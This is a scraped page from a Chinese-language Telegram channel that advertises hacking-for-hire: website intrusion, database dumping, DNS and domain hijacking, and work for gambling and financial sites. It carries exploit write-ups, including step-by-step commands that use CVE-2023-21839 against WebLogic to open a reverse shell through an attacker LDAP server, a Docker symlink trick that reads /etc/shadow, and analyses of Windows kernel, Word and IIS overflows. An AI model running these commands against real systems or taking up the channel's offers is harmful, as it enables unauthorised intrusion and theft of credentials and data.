黑客渗透 金融劫持 BC域名跳转
18.9K subscribers
1.9K photos
19 videos
2 files
167 links
金融股民渗透国内app,海外网站app,入侵后台,脱裤数据库, dns劫持 服务器进入等等
破解网站app软件技术等等 黑客技术咨询
@hacker_HouZiM
Download Telegram
漏洞概述 RCE漏洞,该漏洞允许未经身份验证的远程网络访问,并通过T3/IIOP协议损坏WebLogic服务器。成功利用该漏洞可导致Oracle WebLogic服务器被接管,并通过**rmi/ldap**远程协议执行远程命令。当**JDK版本过低**或者本地存在小工具(javaSerializedData)时,可能会导致远程代码执行。 可见,CVE-2023-21839是weblogic中的JNDI注入漏洞。 #2.影响范围 Oracle WebLogic 服务器12.2.1.3.0 Oracle WebLogic 服务器12.2.1.4.0 Oracle WebLogic 服务器14.1.1.0.0 # 3. 使用方法 ## 反弹壳 1、启用http://your-ip:7001/console即可看到登录界面1702443149_6579388d089c73411c3f9.png!small?1702443150354 下载漏洞利用工具 JNDIExploit-1.4-SNAPSHOT.jar 2、启动ladp服务,同时在kali上启动监控:1702443160_6579389833615944c36fe.png!small?1702443161247 使用JNDIExploit在vps上开启ldap协议服务。这里注意端口1389和3456是开放的。 ```` java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.111.14 ``1702443167_6579389f98ae7d95fabb0.png!small?1702443169115 漏洞EXP下载: ```` https://github.com/DXask88MA/Weblogic-CVE-2023-21839 ```` 3.启动EXP(注意:jdk版本仍然需要是较低版本,原来的JDK17不需要卸载,只需下载较低版本的JDK并切换即可) ```` java -jar Weblogic-CVE-2023-21839.jar 192.168.111.6:7001 ldap: //192.168.111.14:1389/Basic/ReverseShell/192.168.111.14/9999 java -jar 目标服务器IP地址:端口ldap地址/Basic/ReverseShell/ldap服务器IP地址/nc监听端口 ```` 无明显变化1702443178_657938aadbc16b2a2308f.png!small?1702443179997 4、检查LDAP服务器,成功获取1702443186_657938b2c207489509ffa.png!small?1702443188127 1702443194_657938ba84e2e821bd9f6.png!small?1702443195840 ## DNSlog 流量要点 ```` eg:java -jar Weblogic-CVE-2023-21839.jar 靶场ip:7001 ldap://xxxxx

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
发现可以获取cloud_transtoken,但是数据库目录和文件的名字是随机的。

而且如果备份文件里面的数据库文件不是最新的,那么即使获取到cloud_transtoken也无法利用,我们需要最新的备份文件。
然后我们看一下数据库备份是怎么实现的,打开web/source/system/database.ctrl.php。

#世界杯 #改单 #bc网址劫持 #bc网站渗透 #ai破解 #技术劫持
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
通过搜索 banner,我找到了这个网站的源代码:https://github.com/bearice/tunnel-manager/blob/master/src/API.hs。
通过阅读源码,我发现了一个比较有意思的未公开 API:
tunnelLogs :: String -> IO String
tunnelLogs name = do
   let path = flags_dataDir </> name <.> "log"
   sh $ "tail " ++ escape path

...

get "/tunnel/:name/logs" $ do
 name <- param "name"
 logs <- liftIO $ tunnelLogs name
 text $ L.pack logs

在调用这个 API 时,会读取 /data/:name.log。再看看创建 Docker 时候:
注意这一行:
,"-v "++flags_dataDir++":/data", portDef, flags_image

由于这个 API 运行在容器外,但是容器内的 /data 可以操控,于是通过创建软链接即可读取到容器外的文件。
在容器内:
root@fff2:/data# rm fff.log && ln -s /etc/shadow fff.log
ln -s /etc/shadow fff.log

接着访问 logs:
Bingo,至此通过 Docker 配合 API 的文件读取完成。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
这里0x8effcaf8+34h位置存放的值是fd2842e8,而fd2842e8+1c存放的是0x0,就是这里传递给eax,导致了eax是0x0,从而引发了无效地址访问。
kd> dd fd2842e8
fd2842e8 108501ef 00000001 80000000 874635f8
fd2842f8 00000000 108501ef 00000000 00000000
fd284308 00000008 00000008 00000020 fd28443c
fd284318 fd28443c 00000004 00001292 00000001

因此我们需要知道fd2842e8+1c是一个什么对象的值,但通过dt方法没法获得_EBRUSHOBJ的结构,这里对象不明朗没关系,我们可以通过对外层函数的跟踪,来看一下+1c位置存放的是什么样的结构,通过kb堆栈回溯(这里由于多次重启堆栈地址发生变化,不影响调试)
kd> kb
# ChildEBP RetAddr Args to Child
00 980b09a0 838b34af 00000000 00000000 838ad5a0 win32k!bGetRealizedBrush+0x38
01 980b09b8 83929b5e 980b0af8 00000001 980b0a7c win32k!pvGetEngRbrush+0x1f
02 980b0a1c 839ab6e8 fe975218 00000000 00000000 win32k!EngBitBlt+0x337
03 980b0a54 839abb9d fe975218 980b0a7c 980b0af8 win32k!EngPaint+0x51
04 980b0c20 83e941ea 00000000 ffbff968 1910076b win32k!NtGdiFillRgn+0x339

我们可以看到最外层函数调用了win32k!NtGdiFillRgn函数,直接跟踪外层函数调用,在NtGdiFillRgn函数中。
            EngPaint(
(struct _SURFOBJ *)(v5 + 16),
(int)&v13,
(struct _BRUSHOBJ *)&v18,
(struct _POINTL *)(v42 + 1592),
v10); // 函数调用会进这里

接下来我们重启系统,重新跟踪这个过程,对象地址值发生变化,但不影响调试,传入的第一个参数是SURFOBJ对象

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
在wwlib的反汇编中搜索所有对75f8的引用代码,也就是对该数组的引用。结果有些意外,只有一处有效的。关键代码如图:
可以看出这个代码是复制该数组数据的逻辑,从拷贝大小参数来看该数组实际分配的大小为0x20字节。而在为该数组附加字节的逻辑中限制写成了0x40字节,发生数组越界写入,进而导致数组之后的类成员变量被改写。
重新加载样本,仔细观察该数组的数据赋值过程:
之后将覆盖我们关心的偏移为0x761c处的值0x01575960,而该值为mso模块创建的一个对象指针,覆盖完成后该值被替换成了0x09c00c0c。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
HrGetLockIdForPath 与 HrCheckIfHeader 有点类似,同样存在两个 CStackBuffer 变量。不同的是,v22.HighPart 指向父级函数 HrGetLockIdForPath 中引用 CParseLockTokenHeader 对象的局部变量,而且这里也会将其转换为 CMethUtil 类型使用。
在解析 URL 第一部分(http://localhost/aaaaaaa....)时,通过栈溢出可以覆盖引用 CParseLockTokenHeader 对象的局部变量,栈布局如图所示。
在解析 URL 第二部分(http://localhost/bbbbbbb....)时,由于引用 CParseLockTokenHeader 对象的局部变量的值已经被修改,所以会使用伪造的对象,最终在函数 ScStripAndCheckHttpPrefix 中完成控制权的转移。
在执行 ROP 代码片段时,会跳转到 KiFastSystemCall 去执行,这里将 EAX 寄存器的值设置为 0x8F,也就是 NtProtectVirtualMemory 的服务号,函数的参数通过栈进行传递。


渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM